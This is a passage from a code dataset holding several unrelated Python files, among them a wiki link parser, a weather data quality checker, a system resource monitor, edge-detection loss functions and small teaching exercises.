head pelvis torso, toes and taluses\n o[22+i*2+0] -= px\n o[22+i*2+1] -= py\n\n o[18] -= px # mass pos xy made relative\n o[19] -= py\n o[20] -= pvx\n o[21] -= pvy\n\n o[38]= min(4,o[38]) # ball info are included later in the stage\n # o[39]/=5\n # o[40]/=5\n\n o[1]=0 # abs value of pel x is not relevant\n\n return o\n\n_stepsize = 0.01\nflatten = lambda l: [item for sublist in l for item in sublist]\n\n# expand observation from 48 to 48*7 dims\nprocessed_dims = 48 + 14*5 + 9 + 1\n# processed_dims = 41*8\ndef generate_observation(new, old=None, step=None):\n global _stepsize\n if step is None:\n raise Exception('step should be a valid integer')\n\n # deal with old\n if old is None:\n old = {'dummy':None,'balls':[],'que':fifo(20)}\n for i in range(6):\n old['que'].push(new)\n\n q = old['que']\n q.pop() # remove head\n q.push(new) # add to tail\n\n # process new\n def lp(n):return list(process_observation(n))\n new_processed = lp(new)\n\n def bodypart_velocities(at):\n return [(q.fromtail(0+at)[i]-q.fromtail(1+at)[i])/_stepsize for i in range(22,36)]\n\n vels = [bodypart_velocities(k) for k in [0,1,2]] #[[14][14][14]]\n accs = [\n [\n (vels[t][idx] - vels[t+1][idx])/_stepsize\n for idx in range(len(vels[0]))]\n for t in [0,1]]\n # [[14][14]]\n\n final_observation = new_processed + flatten(vels) + flatten(accs)\n # 48+14*5\n\n # final_observation += flatten(\n # [lp(q.fromtail(idx))[38:41] for idx in reversed([4,8,16,32,64])]\n # )\n # # 4 * 5\n # # 48*4\n\n balls = old['balls']\n\n def addball_if_new():\n current_pelvis = new[1]\n current_ball_relative = new[38]\n current_ball_height = new[39]\n current_ball_radius = new[40]\n\n absolute_ball_pos = current_ball_relative + current_pelvis\n\n if current_ball_radius == 0: # no balls ahead\n return\n\n compare_result = [abs(b[0] - absolute_ball_pos) < 0.0001 for b in balls]\n # [False, False, False, False] if is different ball\n\n got_new = sum([(1 if r==True else 0)for r in compare_result]) == 0\n\n if got_new:\n balls.append([\n absolute_ball_pos,\n current_ball_height,\n current_ball_radius,\n ])\n if len(balls)>3:\n print(balls)\n print('(@ step '+str(step)+')What the fuck you just did! Why num of balls became greater than 3!!!')\n else:\n pass # we already met this ball before.\n\n if step!= 0:\n # ignore ghost obstacle, fuck the fucking organizer\n addball_if_new()\n\n ball_vectors = []\n current_pelvis = new[1]\n\n # there should be at most 3 balls\n for i in range(3):\n if i>(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\](?=[^\\\\]]))*)\\\\]\\\\]', self.text)\n if match_obj:\n (text, _, target, _) = match_obj.groups()\n text = remove_backslashes_and_whitespace(text)\n target = remove_backslashes_and_whitespace(target)\n else:\n text = target = remove_backslashes_and_whitespace(self.text[2:-2])\n self.xhtml.append(re.sub('[ \\n\\t]+', ' ', text))\n (scheme, url) = check_and_normalize_url(target, link_allowed_targets)\n if scheme is not None:\n if scheme == 'mailto':\n self.xhtml.attributes['class'] = 'link_mailto'\n else:\n self.xhtml.attributes['class'] = 'link_external'\n self.xhtml.attributes['href'] = url\n return\n try:\n link_proc = procs[LINK]\n except KeyError:\n self.xhtml.attributes['class'] = 'link_unresolved'\n self.xhtml.tag = 'span'\n return\n\n self.xhtml.translations.append((LINK, None, [target]))\n self.xhtml.attributes['class'] = 'link_internal'\n return\n\n\nclass ImageLinkToken(Token):\n __module__ = __name__\n\n def render(self, new_token):\n new_token.prepend(self.xhtml)\n\n def evaluate(self, result, tokens, state, procs):\n Token.evaluate(self, result, tokens, state, procs)\n self.xhtml = XMLElement('a')\n match_obj = re.match('\\\\[\\\\[\\\\[(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)\\\\|\\\\|(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)>>(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)\\\\]\\\\]\\\\]', self.text)\n if match_obj:\n (image, _, description, _, target, _) = match_obj.groups()\n else:\n match_obj = re.match('\\\\[\\\\[\\\\[(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)>>(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)\\\\]\\\\]\\\\]', self.text)\n if match_obj:\n (image, _, target, _) = match_obj.groups()\n description = None\n else:\n match_obj = re.match('\\\\[\\\\[\\\\[(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)\\\\|\\\\|(([^\\\\\\\\\\\\]]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*)\\\\]\\\\]\\\\]', self.text)\n if match_obj:\n (image, _, description, _) = match_obj.groups()\n target = None\n else:\n image = self.text[3:-3]\n description = target = None\n image = remove_backslashes_and_whitespace(image)\n if description is not None:\n description = remove_backslashes_and_whitespace(description)\n description = re.sub('[ \\n\\t]+', ' ', description)\n else:\n description = ''\n has_target = False\n if target is not None:\n has_target = True\n target = remove_backslashes_and_whitespace(target)\n (scheme, url) = check_and_normalize_url(target, link_allowed_targets)\n if scheme is not None:\n if scheme == 'mailto':\n self.xhtml.attributes['class'] = 'link_mailto'\n else:\n self.xhtml.attributes['class'] = 'link_external'\n self.xhtml.attributes['href'] = url\n else:\n try:\n link_proc = procs[LINK]\n self.xhtml.translations.append((LINK, None, [target]))\n self.xhtml.attributes['class'] = 'link_internal'\n except KeyError:\n self.xhtml.tag = 'span'\n self.xhtml.attributes['class'] = 'link_unresolved'\n\n (scheme, url) = check_and_normalize_url(image, image_link_allowed_targets)\n if scheme is not None:\n img = XMLElement('img')\n img.attributes['class'] = 'img_external'\n img.attributes['src'] = url\n img.attributes['alt'] = description\n if has_target:\n self.xhtml.append(img)\n else:\n self.xhtml = img\n else:\n try:\n link_proc = procs[IMAGE_LINK]\n self.xhtml.translations.append((IMAGE_LINK, None, [image, description, has_target]))\n except KeyError:\n span = XMLElement('span')\n span.append(re.sub('[ \\n\\t]+', ' ', image))\n if description != '':\n span.append(': %s' % description)\n span.attributes['class'] = 'image_unresolved'\n self.xhtml.append(span)\n\n return\n\n\ndef extend_wiki_parser(wiki_parser):\n wiki_parser.regexes[IMAGE_LINK] = (\n 10, '\\\\[\\\\[\\\\[([^\\\\\\\\\\\\]\\\\n]|\\\\\\\\.|\\\\]{1,2}(?=[^\\\\]]))*\\\\]\\\\]\\\\]', ImageLinkToken, dict(preference=20))\n wiki_parser.regexes[LINK] = (\n 20, '\\\\[\\\\[([^\\\\\\\\\\\\]\\\\n]|\\\\\\\\.|\\\\](?=[^\\\\]]))*\\\\]\\\\]', LinkToken, dict(preference=20))","sub_path":"pycfiles/FelloWiki-0.01a1.dev_r36-py2.4/links.py","file_name":"links.py","file_ext":"py","file_size_in_byte":7396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"37062411","text":"def MidtermGradeCalc():\n def scale_midterm_grades(grades, multiplier, bonus):\n #loop through the length of grades\n for i in range(0,len(grades)):\n #update the grades by multiplying with the multiplier and adding the bonus\n grades[i]=grades[i]*multiplier+bonus\n #check if the grade is over 100, if it is, set it to 100\n if grades[i] > 100:\n grades[i]=100\n #return the list of grades\n return grades\n #this is an example\n print(\"An example with multiplier of 2 and bonus of 3 with the list [1,3,6,10,3] is:\")\n grades=[1,3,6,10,3]\n print(scale_midterm_grades(grades,2,3))\nMidtermGradeCalc()\n\n","sub_path":"HighSchool/GradeCalc.py","file_name":"GradeCalc.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"171128689","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 5 14:44:08 2019\n\n@author: Lvov_AS\n\"\"\"\n\n'''\n**********************************************\nTHE FIRST WAY OF READING\n**********************************************\n'''\ndef read_file_w1(filename):\n try:\n f=open(filename)\n print('There is a text from file \\'{}\\':\\n' .format(filename))\n content=f.read()\n f.close()\n except:\n return 'Something goes wrong!'\n return content\n\n'''\n**********************************************\nTHE SECOND WAY OF READING\n**********************************************\n'''\ndef read_file_w2(filename):\n with open(filename) as f:\n return f.read()\n\n'''\n**********************************************\nTHE WAY OF WRITING\n**********************************************\n'''\ndef write_to_file(filename, content, mode='w'):\n with open(filename, mode=mode) as f:\n return f.write(content)\n \n\n\ndef main():\n name_of_file='textfile.txt'\n text=read_file_w1(name_of_file)\n print(text)\n \n write_to_file(name_of_file, text)\n write_to_file(name_of_file, '\\nsome new line', 'a')\n\n \nif __name__=='__main__':\n try:\n main()\n except:\n print('Something goes wrong!')","sub_path":"tceh/requests, urllib, read, write, json/read, write, json/read_write.py","file_name":"read_write.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"245280847","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 12 14:32:02 2019\n\n@author: student\n\"\"\"\n\n###노트북 프로그램 만들기\n\nclass Notebook(object):\n def __init__(self,title):\n self.title = title\n self.page_number = 1\n self.notes = {}\n \n def add_note(self, note, page = 0):\n if 0 <= self.page_number <= 300:\n if page == 0:\n self.page_number += 1\n self.notes[self.page_number] = note\n print(\"페이지 추가됨\")\n else:\n self.notes = {page:note}\n else : \n print(\"노트수가 300개라 못만듬.\")\n \n def remove_note(self, page_number):\n if page_number in self.notes.keys(): #해당 페이지 넘버가 있는경우\n return self.notes.pop(page_number)\n else: #없을 때\n print(\"해당 페이지는 존재하지 않음\")\n \n def get_number_of_pages(self):\n print(\"현재 페이지 수는 {0} 입니다.\" .format(self.page_number))\n \n\nclass Note(object):\n def __init__(self,contents = None):\n self.contents = contents\n \n def write_content(self,contents):\n self.contents = contents\n\n def remove_all(self):\n self.contents = \"\"\n \n def __str__(self):\n if self.contents == \"\":\n print(\"삭제된 노트북\")\n else:\n print(\"Note 클래스가 동작하였음.\")\n return self.contents\n\n\nmy_sentence1 = \"\"\" 가나다라마바사\"\"\"\nnote_1 = Note(my_sentence1)\n\n\nmy_sentence2 = \"\"\" dkdkdkkdkdkdkapdkjkflsj\"\"\"\nnote_2 = Note(my_sentence2)\n\nmy_notebook_1 = Notebook(\"첫 노트북\")\nmy_notebook_1.add_note(my_sentence1)\nmy_notebook_1.get_number_of_pages()\nmy_notebook_1.add_note(my_sentence2)\n\n\n","sub_path":"python/20191212/1.3_LAB_클래스를이용한노트북프로그램만들기.py","file_name":"1.3_LAB_클래스를이용한노트북프로그램만들기.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636253957","text":"import os\n\n\nclass DataPath:\n def __init__(self):\n self.base_path_list = list()\n # self.base_path_list.append(r'D:\\PycharmProjects\\data')\n # self.base_path_list.append(r'/media/antec/storage/PycharmProjects')\n self.base_path_list.append(r'/home/asus/PycharmProjects/data')\n \n self.data_path = dict()\n\n path = dict()\n path['icon'] = 'icon_train'\n path['background'] = 'background'\n self.data_path['icon_128_train'] = path\n\n path = dict()\n path['icon'] = 'icon_test'\n path['background'] = 'background'\n self.data_path['icon_128_test'] = path\n\n path = dict()\n path['icon'] = 'icon_test_part'\n path['background'] = 'background'\n self.data_path['icon_128_test_part'] = path\n\n def get_path(self, name):\n data_path_dict = self.data_path[name]\n abs_path_dict = dict()\n\n is_dir = False\n\n for base_path in self.base_path_list:\n for key in data_path_dict:\n if data_path_dict[key] is not None:\n this_abs_path = os.path.join(base_path, data_path_dict[key])\n if os.path.isdir(this_abs_path):\n is_dir = True\n abs_path_dict[key] = this_abs_path\n else:\n break\n else:\n abs_path_dict[key] = None\n\n if is_dir:\n break\n\n for key in data_path_dict:\n if not key in abs_path_dict:\n raise Exception('invalid key in absolute data path dict')\n\n return abs_path_dict\n","sub_path":"src/data_path.py","file_name":"data_path.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"573350200","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 25 11:10:26 2021\n\n@author: lyn\n\"\"\"\nimport tokenization\n\ndef test_tokenize():\n \"\"\"\n \"\"\"\n mimix_tokenizer = tokenization.MimixTokenizer(\n vocab_file=\"../model/vocab/zh_vocab.txt\",\n pre_tokenized=False,\n pre_vectorized=False)\n \n print(mimix_tokenizer.tokenize(\"1234567号选手是top10哦,hello你好666啊\"))\n \n tokenizer = tokenization.BertTokenizer(\n vocab_file=\"../../pretrain/bert-base-chinese/vocab.txt\",\n pre_tokenized=False,\n pre_vectorized=False)\n \n print(tokenizer.tokenize(\"1234567号选手是top10哦,hello你好666啊\")) \n\nif __name__ == \"__main__\":\n \n test_tokenize()\n \n\n \n \n \n \n \n \n ","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"15021835","text":"\"\"\"Add table Severity\n\nRevision ID: 1894217a6b3f\nRevises: 51c1d76c3cc5\nCreate Date: 2014-07-02 09:16:00.517059\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1894217a6b3f'\ndown_revision = '51c1d76c3cc5'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('severity',\n sa.Column('id', postgresql.UUID(), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('wording', sa.Text(), nullable=False),\n sa.Column('color', sa.Text(), nullable=True),\n sa.Column('is_visible', sa.Boolean(), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('severity')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/1894217a6b3f_.py","file_name":"1894217a6b3f_.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"637354535","text":"#!/bin/env python\n#Les Warren warre112 Created 03/24/2020\n#Lab09, DataQualtyChecking, ABE65100 This program is designed to quality data check for four different error types (No Data Value, Gross Errors, Swapping misplaced values, and Range Check). It also plots original data compared to QC data and exports findings as a .txt file(s)\nimport pandas as pd\nimport numpy as np\n\ndef ReadData( fileName ):\n \"\"\"This function takes a filename as input, and returns a dataframe with\n raw data read from that file in a Pandas DataFrame. The DataFrame index\n should be the year, month and day of the observation. DataFrame headers\n should be \"Date\", \"Precip\", \"Max Temp\", \"Min Temp\", \"Wind Speed\". Function\n returns the completed DataFrame, and a dictionary designed to contain all \n missing value counts.\"\"\"\n \n # define column names\n colNames = ['Date','Precip','Max Temp', 'Min Temp','Wind Speed']\n\n # open and read the file\n DataDF = pd.read_csv(\"DataQualityChecking.txt\",header=None, names=colNames, \n delimiter=r\"\\s+\",parse_dates=[0])\n DataDF = DataDF.set_index('Date')\n \n # define and initialize the missing data dictionary\n ReplacedValuesDF = pd.DataFrame(0, index=[\"1. No Data\", \"2. Gross Error\", \"3. Swapped\", \"4. Range Fail\"], columns=colNames[1:]) ##added row names 2-4\n \n return( DataDF, ReplacedValuesDF )\n \n \ndef Check01_RemoveNoDataValues( DataDF, ReplacedValuesDF ):\n \"\"\"This check replaces the defined No Data value with the NumPy NaN value\n so that further analysis does not use the No Data values. Function returns\n the modified DataFrame and a count of No Data values replaced.\"\"\"\n \n for i in range (0,len(DataDF)-1):\n for j in range(0,3):\n if DataDF.iloc[i,j] == -999: #removing any values =-999\n DataDF.iloc[i,j]= np.nan\n \n ReplacedValuesDF.iloc[0,0]=DataDF['Precip'].isna().sum()\n ReplacedValuesDF.iloc[0,1]=DataDF['Max Temp'].isna().sum()\n ReplacedValuesDF.iloc[0,2]=DataDF['Min Temp'].isna().sum()\n ReplacedValuesDF.iloc[0,3]=DataDF['Wind Speed'].isna().sum()\n\n return( DataDF, ReplacedValuesDF )\n \ndef Check02_GrossErrors( DataDF, ReplacedValuesDF ):\n \"\"\"This function checks for gross errors, values well outside the expected \n range, and removes them from the dataset. The function returns modified \n DataFrames with data the has passed, and counts of data that have not \n passed the check.\"\"\"\n#Precipiation \n for i in range (0,len(DataDF)-1):\n if (DataDF['Precip'].iloc[i]<0) or (DataDF['Precip'].iloc[i]>25): #Replacing values out of 0-25 range with nan\n DataDF['Precip'].iloc[i]= np.nan\n#Temperature\n for i in range (0,len(DataDF)-1): #replacing values outside of -25 to 35 range with nan\n if DataDF['Max Temp'].iloc[i]< (-25) or DataDF['Max Temp'].iloc[i] >35:\n DataDF['Max Temp'].iloc[i]= np.nan\n \n for i in range (0,len(DataDF)-1): #replacing values outside of -25 to 35 range with nan\n if DataDF['Min Temp'].iloc[i]< (-25) or DataDF['Min Temp'].iloc[i] >35:\n DataDF['Min Temp'].iloc[i]= np.nan\n#Wind Speed \n for i in range (0,len(DataDF)-1):\n if (DataDF['Wind Speed'].iloc[i]<0) or (DataDF['Wind Speed'].iloc[i]>10): #replacing values outside of 0 to 10 range with nan\n DataDF['Wind Speed'].iloc[i]= np.nan\n \n ReplacedValuesDF.iloc[1,0]=DataDF['Precip'].isna().sum()-ReplacedValuesDF.iloc[0,0]\n ReplacedValuesDF.iloc[1,1]=DataDF['Max Temp'].isna().sum()-ReplacedValuesDF.iloc[0,1]\n ReplacedValuesDF.iloc[1,2]=DataDF['Min Temp'].isna().sum()-ReplacedValuesDF.iloc[0,2]\n ReplacedValuesDF.iloc[1,3]=DataDF['Wind Speed'].isna().sum()-ReplacedValuesDF.iloc[0,3]\n \n return(DataDF, ReplacedValuesDF )\n \ndef Check03_TmaxTminSwapped( DataDF, ReplacedValuesDF ):\n \"\"\"This function checks for days when maximum air temperture is less than\n minimum air temperature, and swaps the values when found. The function \n returns modified DataFrames with data that has been fixed, and with counts \n of how many times the fix has been applied.\"\"\"\n \n # add your code here\n ReplacedValuesDF.iloc[2,1]=(DataDF['Min Temp'] > DataDF['Max Temp']).sum() #How many need swapping \n ReplacedValuesDF.iloc[2,2]=(DataDF['Min Temp'] > DataDF['Max Temp']).sum()\n for i in range(0,len(DataDF)-1):\n if DataDF['Min Temp'].iloc[i] > DataDF['Max Temp'].iloc[i]: #if Tmin > Tmax\n hold = DataDF['Max Temp'].iloc[i] \n DataDF['Max Temp'].iloc[i] = DataDF['Min Temp'].iloc[i] #move Tmax value to the Tmin value\n DataDF['Min Temp'].iloc[i] = hold #move Tmin value with the old Tmax value (that was in the placeholder)\n \n return( DataDF, ReplacedValuesDF )\n \n\n \ndef Check04_TmaxTminRange( DataDF, ReplacedValuesDF ):\n \"\"\"This function checks for days when maximum air temperture minus \n minimum air temperature exceeds a maximum range, and replaces both values \n with NaNs when found. The function returns modified DataFrames with data \n that has been checked, and with counts of how many days of data have been \n removed through the process.\"\"\"\n \n ReplacedValuesDF.iloc[3,1]=(DataDF['Max Temp'] - DataDF['Min Temp'] > 25).sum() #number of days the temperature range was >25\n ReplacedValuesDF.iloc[3,2]=(DataDF['Max Temp'] - DataDF['Min Temp'] > 25).sum() \n \n for i in range(0,len(DataDF)-1):\n if DataDF['Max Temp'].iloc[i] - DataDF['Min Temp'].iloc[i] > 25: #difference between tmax & tmin > 25\n DataDF['Max Temp'].iloc[i] = np.nan #replace with nan\n DataDF['Min Temp'].iloc[i] = np.nan #replace with nan\n\n return( DataDF, ReplacedValuesDF )\n \n\n# the following condition checks whether we are running as a script, in which \n# case run the test code, otherwise functions are being imported so do not.\n# put the main routines from your code after this conditional check.\n\nif __name__ == '__main__':\n\n fileName = \"DataQualityChecking.txt\"\n DataDF, ReplacedValuesDF = ReadData(fileName)\n \n print(\"\\nRaw data.....\\n\", DataDF.describe())\n \n DataDF, ReplacedValuesDF = Check01_RemoveNoDataValues( DataDF, ReplacedValuesDF )\n \n print(\"\\nMissing values removed.....\\n\", DataDF.describe())\n \n DataDF, ReplacedValuesDF = Check02_GrossErrors( DataDF, ReplacedValuesDF )\n \n print(\"\\nCheck for gross errors complete.....\\n\", DataDF.describe())\n \n DataDF, ReplacedValuesDF = Check03_TmaxTminSwapped( DataDF, ReplacedValuesDF )\n \n print(\"\\nCheck for swapped temperatures complete.....\\n\", DataDF.describe())\n \n DataDF, ReplacedValuesDF = Check04_TmaxTminRange( DataDF, ReplacedValuesDF )\n \n print(\"\\nAll processing finished.....\\n\", DataDF.describe())\n print(\"\\nFinal changed values counts.....\\n\", ReplacedValuesDF)\n \n\n#Read Data\n ReadData('DataQualityChecking.txt')\n\n#Create copy of raw data\n colNames = ['Date','Precip','Max Temp', 'Min Temp','Wind Speed']\n Raw = pd.read_csv(\"DataQualityChecking.txt\",header=None, names=colNames, \n delimiter=r\"\\s+\",parse_dates=[0])\n Raw = Raw.set_index('Date')\n\n\n#Plot Data\n import matplotlib.pyplot as plt\n##Precipitation \n plt.plot(DataDF.index, Raw['Precip'],'b*', label='Raw Data')\n plt.plot(DataDF.index, DataDF['Precip'],'r*', label='After Data Quality')\n plt.xlabel('Date')\n plt.ylabel('Precipitation (mm)')\n plt.legend()\n plt.savefig('Precipitation.png')\n\n\n##Max Temp\n plt.plot(DataDF.index, Raw['Max Temp'],'b*', label='Raw Data')\n plt.plot(DataDF.index, DataDF['Max Temp'],'r*', label='After Data Quality')\n plt.xlabel('Date')\n plt.ylabel('Maximum Temperature (C)')\n plt.legend()\n plt.savefig('MaxTemp.png')\n\n\n##Min Temp\n plt.plot(DataDF.index, Raw['Min Temp'],'b*', label='Raw Data')\n plt.plot(DataDF.index, DataDF['Min Temp'],'r*', label='After Data Quality')\n plt.xlabel('Date')\n plt.ylabel('Minimum Temperature (C)')\n plt.legend()\n plt.savefig('MinTemp.png')\n\n\n##Wind Speed\n plt.plot(DataDF.index, Raw['Wind Speed'],'b*', label='Raw Data')\n plt.plot(DataDF.index, DataDF['Wind Speed'],'r*', label='After Data Quality')\n plt.xlabel('Date')\n plt.ylabel('Wind Speed (m/s)')\n plt.legend()\n plt.savefig('WindSpeed.png')\n\n\n#Wrtie Data to TAB Deliniated Files\n DataDF.to_csv('After_DataQuality.txt', sep='\\t', index=True)\n\n ReplacedValuesDF.to_csv('ReplacedValues.txt', sep='\\t', index=True)","sub_path":"program_09.py","file_name":"program_09.py","file_ext":"py","file_size_in_byte":8563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"440152308","text":"'''\nMonitor the resource of this computer\n'''\n\nimport psutil\nimport iperf3\nimport time\nfrom multiprocessing.pool import ThreadPool\nimport socket\n\n\nclass RsourceMonitor():\n\n def __init__(self):\n self.set_bandwidth()\n\n def set_bandwidth(self):\n '''\n set the total bandwidth\n '''\n\n client = iperf3.Client()\n client.duration = 10\n client.server_hostname = \"192.168.1.62\"\n client.port = 5201\n self.total_bandwidth = client.run().sent_Mbps\n\n def get_cpu_usage(self):\n '''\n get the average usage of cpus\\n\n ( get the average usage of each core in 10 seconds for 0.1 second interval )\n '''\n\n usage_sum = 0\n\n for i in range(10):\n usage_sum += psutil.cpu_percent(interval=0.1)\n\n return usage_sum/10\n\n def get_mem_usage(self):\n '''\n get the usage of memory\n '''\n\n return psutil.virtual_memory()[2]\n\n def get_disk_usage(self):\n '''\n get the usage of disk\n '''\n\n return psutil.disk_usage(\"/\")[3]\n\n def get_bandwidth(self):\n '''\n get the network usage\n '''\n\n io_bytes_old = psutil.net_io_counters().bytes_recv + psutil.net_io_counters().bytes_sent\n time.sleep(1)\n io_bytes = psutil.net_io_counters().bytes_recv + psutil.net_io_counters().bytes_sent\n\n io_mega_bits = (io_bytes - io_bytes_old)/1024/1024*8\n\n return io_mega_bits/self.total_bandwidth*100\n\n def get_all_info(self):\n '''\n get all resource info\n '''\n\n # threading pool for getting return value\n pool = ThreadPool(processes=4)\n\n cpu_usage = pool.apply_async(self.get_cpu_usage).get()\n bandwidth_usage = pool.apply_async(self.get_bandwidth).get()\n disk_usage = pool.apply_async(self.get_disk_usage).get()\n mem_usage = pool.apply_async(self.get_mem_usage).get()\n\n return cpu_usage, bandwidth_usage, disk_usage, mem_usage\n\nrm = RsourceMonitor()\nprint(\"start\")\nres = rm.get_all_info()\nprint(res)\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"192.168.1.62\", 5001))\ns.send((\"turn \" + str(res[0]) + \" \" + str(res[1]) + \" \" + str(res[2]) + \" \" + str(res[3])).encode(\"utf-8\"))\ndata = s.recv(1024).decode(\"utf-8\")\n","sub_path":"uni_test/turn_resource.py","file_name":"turn_resource.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"624885377","text":"import torch.nn.functional as F\nimport torch\nimport torch.nn as nn\nimport numpy as np\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\ndef nll_loss(output, target):\n return F.nll_loss(output, target)\n\n\ndef bceloss(output, target):\n a=nn.BCELoss()\n return a(output, target)\n\n\nclass logMAEloss(nn.Module):\n def _init_(self):\n # def _init_(self,inputs,targets):\n super(logMAEloss, self)._init_()\n # self.inputs = inputs\n # self.targets = targets\n return\n\n def forward(self, inputs, targets):\n # ‑log((‑x)+1)\n mae = torch.abs(inputs - targets)\n loss = -torch.log((-mae) + 1.0)\n return torch.mean(loss)\n\n\n# In[2]:\ndef cross_entropy_loss_HED(prediction, label):\n label = label.long()\n mask = label.float()\n num_positive = torch.sum((mask == 1).float()).float()\n num_negative = torch.sum((mask == 0).float()).float()\n\n mask[mask == 1] = 1.0 * num_negative / (num_positive + num_negative)\n mask[mask == 0] = 1.0 * num_positive / (num_positive + num_negative)\n # mask[mask == 2] = 0\n cost = torch.nn.functional.binary_cross_entropy(\n prediction.float(), label.float(), weight=mask, reduce=False)\n return torch.sum(cost)\n\n\ndef cross_entropy_loss_RCF(prediction, label):\n label = label.long()\n mask = label.float()\n num_positive = torch.sum((mask == 1).float()).float()\n num_negative = torch.sum((mask == 0).float()).float()\n\n mask[mask == 1] = 1.0 * num_negative / (num_positive + num_negative)\n mask[mask == 0] = 1.1 * num_positive / (num_positive + num_negative)\n # mask[mask == 2] = 0\n cost = torch.nn.functional.binary_cross_entropy(\n prediction.float(), label.float(), weight=mask, reduce=False)\n return torch.sum(cost)\n\n#def cross_entropy_loss_BDCN(prediction,label):\n# label=label.long()\n# mask=label.float()\ndef cross_entropy_loss2d(prediction, label, cuda=False):\n \"\"\"\n :param inputs: inputs is a 4 dimensional data nx1xhxw\n :param targets: targets is a 3 dimensional data nx1xhxw\n :return:\n \"\"\"\n #label = label.long()\n #mask = label.float()\n n, c, h, w = prediction.size()\n #print(\"prediction.size() \", prediction.size)\n weights = np.zeros((n, c, h, w))\n for i in range(n):\n # t = label[i, :, :, :].cpu().data.numpy()\n t = label[i, :, :, :].cpu().data.numpy()\n pos = (t == 1).sum()\n neg = (t == 0).sum()\n valid = neg + pos\n weights[i, t == 1] = neg * 1.0 / valid\n #weights[i, t == 1] = neg * 0.5 / valid\n weights[i, t == 0] = pos * 1.1 / valid\n weights = torch.Tensor(weights).to(device)\n\n if cuda:\n weights = weights.cuda()\n inputs = F.sigmoid(prediction)\n loss = nn.BCELoss(weights, size_average=False)(inputs.float(), label.float())\n #cost = torch.nn.functional.binary_cross_entropy(\n # inputs.float(), label.float(), weights, reduce=False)\n #print(\"cross_entropy_loss2d loss:\", loss)\n return loss\n\ndef cross_entropy_loss_BDCN(prediction, label):\n label = label.long()\n mask = label.float()\n num_positive = torch.sum((mask == 1).float()).float()\n num_negative = torch.sum((mask == 0).float()).float()\n\n mask[mask == 1] = 1.0 * num_negative / (num_positive + num_negative)\n mask[mask == 0] = 1.1 * num_positive / (num_positive + num_negative)\n # mask[mask == 2] = 0\n cost = torch.nn.functional.binary_cross_entropy(\n prediction.float(), label.float(), weight=mask, reduce=False)\n return torch.sum(cost)\n","sub_path":"Earthquake8/model/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"114010656","text":"from sqlalchemy import create_engine, Column, String, Integer\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\ntry:\n SQLALCHEMY_DATABASE_URL = \"sqlite:///backend/database/jobs.db\"\n\n engine = create_engine(\n SQLALCHEMY_DATABASE_URL, connect_args={\"check_same_thread\": False}\n )\n SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\n\n\n Base = declarative_base()\nexcept Exception as e:\n print(str(e))\n","sub_path":"backend/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"342596239","text":"import tensorflow as tf\r\nimport numpy as np\r\n\r\n# trainX : 이미지데이터\r\n# trainY : 정답 (라벨)\r\n(trainX, trainY),(testX,testY) = tf.keras.datasets.fashion_mnist.load_data()\r\n\r\n# (선택사항)이미지데이터 전처리 (0~1로 압축해서 넣는다.)\r\ntrainX = trainX/255.0\r\ntestX = testX/255.0\r\n\r\n# 괄호처리(모양지정)을 해줘야함(넘파이 참 좋다)\r\n## 28개, 28개, 60000개 있고, 컨볼루션하기위해 한차원 더만듦\r\ntrainX = trainX.reshape((trainX.shape[0], 28,28, 1))\r\ntestX = testX.reshape((testX.shape[0], 28,28, 